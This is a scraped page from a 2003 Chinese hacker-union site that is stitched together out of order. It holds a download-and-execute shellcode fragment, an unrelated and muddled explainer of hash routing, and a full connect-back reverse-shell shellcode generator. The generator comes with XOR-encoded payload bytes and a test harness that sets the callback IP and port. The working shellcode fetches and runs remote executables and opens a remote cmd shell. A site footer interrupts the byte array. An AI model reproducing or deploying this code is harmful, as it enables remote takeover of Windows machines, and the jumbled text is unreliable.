endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address mov esi,dword ptr [ebx+3Ch] // esi = PE header offsetmov esi,dword ptr [esi+ebx+78h]add esi,ebx // esi = exports directory tablemov edi,dword ptr [esi+20h]add edi,ebx // edi = name pointers tablemov ecx,dword ptr [esi+14h] // ecx = number of name pointersxor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edimov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Ehpush 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+0x24]add eax,ebxadd eax,ecxxor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+0x1C]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GetProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edx//mov ecx,0x5 // 需要解决的函数地址的个数push 0x4call locator_api_addr// ============ 加载urlmon.dll ============//locator_urlmon://xor eax,eax // locator_api_addr返回后eax为0//lods ////test eax,eax // ->定位字符串"urlmon"的起始地址//jne locator_urlmon //add esi,0xd // 0xd即"urlmon"前面那个字符串的长度,// 硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"urlmon"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决urlmon中的函数地址============pop edxmov ebx,eax // 将urlmon.dll起始地址存放在ebx//mov ecx,1 // 函数个数push 0x1pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ 取得url起始地址 ============add esi, 0x13 // URLDownloadToFileA 的长度为0x13push esisearchurl:inc esicmp byte ptr [esi], 0x80jne searchurlxor byte ptr [esi], 0x80 // 把0x80 改成 0x00 结束字符串pop esi // 取得url 的起始地址// 取得一些空间存放系统路径sub esp, 0x20mov ebx, esp// 调用GetSystemDirectoryA获得系统路径push 0x20push ebxcall [edi-0x14]// eax 为系统路径的长度// 调用URLDownloadToFileA下载文件并保存成a.exemov dword ptr [ebx+eax], 0x652E615C // "a.e"mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"xor eax, eax // 清0push eaxpush eaxpush ebxpush esipush eaxcall [edi-0x4]// 调用WinExec执行文件mov ebx, esppush eaxpush ebxcall [edi-0x10]// ExitpProcesspush eaxcall dword ptr [edi-0x0c] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax,eaxlodsbtest eax,eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax,eaxret// ================== 结束调用====================end:call start}__asm{nopnopnop nop nop nop nop nop } return; }。
哈希路由实现原理嘿,朋友!今天咱们来聊聊哈希路由的实现原理吧。
你可以把路由想象成一个超级智能的快递员,它的任务就是把你送到互联网世界里你想去的地方。
而哈希路由呢,就像是这个快递员有一套独特的导航秘籍。
首先,咱们得知道啥是哈希。
哈希就像是给每个网页或者数据资源都分配了一个超级独特的“身份证号码”,这个号码就是哈希值。
它是通过一种特殊的算法算出来的,就好比每个小动物都有自己独特的气味,哈希值就是每个资源独一无二的标识。
比如说,你有一个网页是介绍可爱小猫的,经过哈希算法处理后,就得到了一个专属于这个小猫网页的哈希值,可能是像“abc123”这样的一串字符(当然实际情况要复杂得多啦)。
那哈希路由是怎么利用这个哈希值来工作的呢?当你在浏览器里输入一个网址或者进行一些操作的时候,哈希路由就开始行动了。
它会先查看这个操作对应的哈希值。
就像快递员看包裹上的地址一样,这个哈希值就是它要找的目的地标识。
然后呢,哈希路由有一个超级大的“哈希表”,这个表就像是一个超级详细的城市地图,里面记录了每个哈希值对应的实际资源或者网页内容在哪里。
哈希路由会在这个哈希表里面查找对应的资源。
比如说,我们之前提到的小猫网页的哈希值“abc123”,哈希路由就在这个大表格里找到这个值,然后知道要把你带到那个小猫网页的相关内容那里。
这里还有个很巧妙的地方哦。
哈希路由在处理哈希值的时候,速度非常快。
你可以想象它就像一个闪电侠,嗖的一下就能在哈希表这个大迷宫里找到目的地。
这是因为哈希算法的特性,它可以让哈希路由通过简单的计算就快速定位到资源,而不需要像无头苍蝇一样到处乱找。
另外,哈希路由还有一个很棒的特点就是它对浏览器的历史记录管理很友好。
就像你在图书馆借书,管理员会把你的借书记录保存得井井有条一样。
哈希路由会把你访问过的网页或者资源的哈希值记录下来,当你点击浏览器的后退或者前进按钮的时候,它就能快速根据这些哈希值找到对应的资源,让你在互联网的世界里穿梭自如。
主页安全文档 安全工具 安全漏洞 漏洞利用 红盟作品 开放项目 红盟社区 关于我们递交作品作品总数: 38 个 本类作品: 19 个 关键字所有分类搜索快速通道软件作品文档作品代码作品<=文档分类WindowsRPC DCOM DoS exploitServ-UFTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...Mysql3.23.x/4.0.x remote exploitdownloadurl file shellcode for win2k/xp利用hash值取得函数地址的connect back shellcode.分析理解elf 文件并且自动编排shellcode 的程序 推荐作品提交作品: lion 提交日期: 2003-09-17 作品属性: 推荐 文档类别: 代码作品 浏览次数: 今9次/总6234次 /****************************************************************** 作者: lion, lion@ 日期: 2003-09-17 网站: 此shellcode 特点: a. 通过peb 取得kernel32.dll 地址 b. 通过函数的hash 值来进行比较,代替GetProcAddress 取得函数地址 c. 反连接功能 d. win2000/xp 测试成功 参考资料: /documents/winasm-1.0.1.pdf /sc/win32_reverse.asm ******************************************************************* #include <stdio.h> #include <windows.h> //#include <winsock2.h>//#pragma comment(lib, "ws2_32") void shellcode(); void printsc(unsigned char *sc, int len);DWORD addr;unsigned char hash[0x300] = {0}; unsigned char sc[0x1000];// 要打印hash 的函数列表unsigned char buff[]= "LoadLibraryA\x0"利用hash 值取得函数地址的connect back shellcode."CreateProcessA\x0""ExitProcess\x0"//"ExitThread\x0""WSAStartup\x0""WSASocketA\x0""connect\x0""closesocket\x0";// 取得函数的hash值static DWORD __stdcall GetHash ( char *c ){DWORD h = 0;while ( *c ){__asm ror h, 13h += *c++;}return( h );}void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #define FNENDLONG 0x08int all, i, j,n;//int port = 53;char *p;DWORD h;// WSADATA wsa;// WSAStartup(MAKEWORD(2,1),&wsa);memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = (unsigned char*)shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break; }// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址start = shellcodefnadd+k+8;// 定位shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}//printf("%x\n", htons(port));j = 0;n = 0;// 循环从列表中计算并打印出函数hash值for(i=0; i<sizeof(buff); i++){p = &buff[i-j+1];if(buff[i] == 0x00){if(i == j){p = &buff[0];}printf("#%d i:%d ", j, i);j = 0;h = GetHash(p);memcpy(hash+n, &h, 4);n += 4;printf("%s Hash: 0x%08X\n", p, h);if(buff[i+1] == 0x00) break;}printf(".");j ++;}all = k;memcpy(sc, start, all);printf("\nShellcodeLen: %d\n\n", all);for(k=0; k <= all-3; ++k){if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n\n", k); if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n", k);}// ================== print ======================///*// decode 长度为23字节k = all - 23;memcpy(sc+8, &k, 2);printsc (sc, 23);// xor shellcode 0x99for(i=23; i < all; i++){sc[i] ^= 0x99;}printsc (sc+23, all-23);//*/// printsc(sc, all);addr = (DWORD)≻__asm{jmp addr}return;}void printsc(unsigned char *sc, int len){int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf("\"");if((l%16 == 0) && (l != 0))printf("\"\n\"");printf("\\x%.2X", sc[l]);if(l == len-1) printf("\"");}printf("\n\n");/*// 打印iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf("\"");if((l%16 == 0) && (l != 0))printf("\"\n\"");printf("%%u%.2X%.2X", sc[l+1], sc[l]);if(l == len-2) printf("\"");}*/}void shellcode (void){__asm{nopnopnopnopnopnopnopnop}__asm{//-------------------------------------------------------------------- //// 解码开始////-------------------------------------------------------------------- jmp decode_enddecode_start:pop edx // 得到解码开始位置esp -> edx dec edxxor ecx,ecxmov cx,0x1FF // 要解码shellcode长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok://-------------------------------------------------------------------- //// shellcode开始////-------------------------------------------------------------------- start:push espmov ebp, esp// ====== 分配空间存放函数地址======sub esp, 40mov esi, esp/*[esi] stack layout00 kernel32.dll04 LoadLibraryA08 CreateProcessA12 ExitProcess16 ws2_32.dll20 WSASocketA24 connect28 closesocket32 WSAStartup*///-------------------------------------------------------------------- //// 由hash值取得函数地址////-------------------------------------------------------------------- LoadFunctions:call GetKernel32BaseAddrmov [esi], eax// ====== 取得LoadLibraryA 函数地址======push [esi]push 0xec0e4e8ecall LGetProcAddressmov [esi + 4], eax// ====== 取得CreateProcessA 函数地址======push [esi]push 0x16b3fe72call LGetProcAddressmov [esi + 8], eax// ====== 取得ExitProcess 函数地址======push [esi]push 0x73e2d87ecall LGetProcAddressmov [esi + 12], eax// ====== 取得WS2_32.DLL 地址======push 0x00003233push 0x5f327377push espcall [esi + 4]mov [esi + 16], eax// ====== 取得WSASocketA 函数地址======push [esi + 16]push 0xadf509d9call LGetProcAddressmov [esi + 20], eax// ====== 取得connect 函数地址======push [esi + 16]push 0x60aaf9eccall LGetProcAddressmov [esi + 24], eax// ====== 取得closesocket 函数地址======push [esi + 16]push 0x79C679E7call LGetProcAddressmov [esi + 28], eax// ====== 取得WSAStartup 函数地址======push [esi + 16]push 0x3bfcedcbcall LGetProcAddressmov [esi + 32], eax//--------------------------------------------------------------------//// 反连开始////-------------------------------------------------------------------- LWSAStartup:// ====== WSAStartup(0x101, &WSADATA[400 bytes!]); ====== sub esp, 400push esppush 0x101call [esi + 32]LWSASocketA:// ====== s=WSASocketA(2,1,0,0,0,0); ======push eaxpush eaxpush eaxpush eaxinc eaxpush eaxinc eaxpush eaxcall [esi + 20]mov ebx, eax // socket句柄保存在ebxLReconnect:// ====== connect(s, host, port); ======push 0x0100007F // host: 127.0.0.1push 0x35000002 // port: 53mov ecx, esppush 0x10push ecxpush ebxcall [esi + 24]// ====== 如果连接不成功,则退出======test eax, eaxjne LFinishedLPushCmd:// ====== push "cmd" ======push 0x00646d63mov [esi + 48], espLCreateProcessStructs:// ====== 为STARTUPINFO, PROCESS_INFORMATION 分配空间====== sub esp, 16 + 68// ====== zero out SI/PI ======lea edi, [esp]// xor eax, eaxxor ecx, ecxadd ecx, 21LBzero:stosdloop LBZeromov [esp + 16], 68 // si.cb = sizeof(si)inc [esp + 61] // si.dwFlags = 0x100// ====== 进程的输入输出出错句柄指定为输出到socket ======//mov [esp + 16 + 45], 0x01 // dwFlags//mov [esp + 16 + 48],0 // wShowWindowmov [esp + 16 + 56], ebx // si.hStdInput = smov [esp + 16 + 60], ebx // hStdOutput = smov [esp + 16 + 64], ebx // hStdError = sLCreateProcess:// ====== CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si,pi); ======lea eax, [esp + 16]push esp // pipush eax // sipush ecx // lpCurrentDirectorypush ecx // lpEnvironmentpush ecx // dwCreationFlagspush 1 // bInheritHandlespush ecx // lpThreadAttributespush ecx // lpProcessAttributespush [esi + 48] // lpCommandLine = "cmd"push ecx // lpApplicationName NULLcall [esi + 8] // CreateProcessA//mov ecx, espLCloseSocket:// ===== CloseSocket(s); =====push ebxcall [esi + 28]LFinished:// ===== ExitProcess(); =====//push 1call [esi + 12]//--------------------------------------------------------------------//// GetKernel32BaseAddr(); 取得kernel32的基地址子程序////-------------------------------------------------------------------- GetKernel32BaseAddr:push ebppush esi// ===== 从PEB 中取得KERNEL32.DLL的起始地址=====mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsd // eax = InInitOrder.blinkmov ebp, [eax + 0x08] // ebp = kernel32.dll base address mov eax, ebppop esipop ebpret 4//--------------------------------------------------------------------//// LGetProcAddress(HASH, DLLBASE);////-------------------------------------------------------------------- LGetProcAddress:push ebxpush ebppush esipush edimov ebp, [esp + 24] // DLL Base Addressmov eax, [ebp + 0x3c] // eax = PE header offsetmov edx, [ebp + eax + 120]add edx, ebp // edx = exports directory tablemov ecx, [edx + 24] // ecx = number of name pointers mov ebx, [edx + 32]add ebx, ebp // ebx = name pointers tableLFnlp:jecxz LNtfnddec ecxmov esi, [ebx + ecx * 4]add esi, ebp // esi = name pointerxor edi, edicldLHshlp:xor eax, eaxlodsbcmp al, ahje LFndror edi, 13add edi, eaxjmp LHshlpLFnd:// ===== 比较hash是否相同=====cmp edi, [esp + 20]jnz LFnlpmov ebx, [edx + 36] // ebx = ordinals table RNAadd ebx, ebpmov cx, [ebx + 2 * ecx] // ecx = function ordinalmov ebx, [edx + 28] // ebx = address table RVAadd ebx, ebpmov eax, [ebx + 4 * ecx] // eax = address of function RVAadd eax, ebpjmp LDoneLNtfnd:xor eax, eaxLDone:mov edx, ebppop edipop esipop ebppop ebxret 4end:}__asm{nopnopnopnopnopnopnopnop}}测试代码:#include <winsock2.h>#pragma comment(lib, "ws2_32")// change this#define PORT 53#define IP "127.0.0.1"// don't change the offset#define PORT_OFFSET 200#define IP_OFFSET 193unsigned char cbshellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x77\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF""\xCD\x12\x75\x1A\x75\xB1\x12\x6D\x71\x60\x99\x99\x99\x10\x9F\x66" "\xAF\xF1\x17\xD7\x97\x75\x71\x9D\x98\x99\x99\x10\xDF\x9D\x66\xAF" "\xF1\xEB\x67\x2A\x8F\x71\x6C\x99\x99\x99\x10\xDF\x91\x66\xAF\xF1" "\xE7\x41\x7B\xEA\x71\x7F\x99\x99\x99\x10\xDF\x95\xF1\xAA\xAB\x99" "\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCF\x9D\x10\xDF\x89\x66\xEF\x89" "\xF1\x40\x90\x6C\x34\x71\x5C\x99\x99\x99\x10\xDF\x8D\x66\xEF\x89" "\xF1\x75\x60\x33\xF9\x71\x2C\x99\x99\x99\x10\xDF\x81\x66\xEF\x89" "\xF1\x7E\xE0\x5F\xE0\x71\x3C\x99\x99\x99\x10\xDF\x85\x66\xEF\x89" "\xF1\x52\x74\x65\xA2\x71\x0C\x99\x99\x99\x10\xDF\xB9\x18\x75\x09"Copyright © 2000-2004 HUC All Rights Reserved.中国红客网络技术联盟 webmaster@ "\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\xB9\xC9\xC9\xC9\xC9" "\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B" "\x99\x99\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xDA" "\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xAA\x50" "\x1A\x58\x8C\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10" "\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD" "\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x91\xCA" "\x66\xCF\x85\x66\xCF\x95\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x12\xD9" "\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA" "\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C" "\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C" "\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72" "\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2" "\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C" "\xC6\xC7\xC4\xC2\x5B\x9D\x99";void main() {WSADATA wsa; unsigned short port; unsigned long ip;WSAStartup(MAKEWORD(2,2),&wsa); port = htons(PORT)^(USHORT)0x9999;ip = inet_addr(IP)^(ULONG)0x99999999; memcpy(&cbshellcode[PORT_OFFSET], &port, 2);memcpy(&cbshellcode[IP_OFFSET], &ip, 4);__asm { lea eax,cbshellcode jmp eax}}返回上页。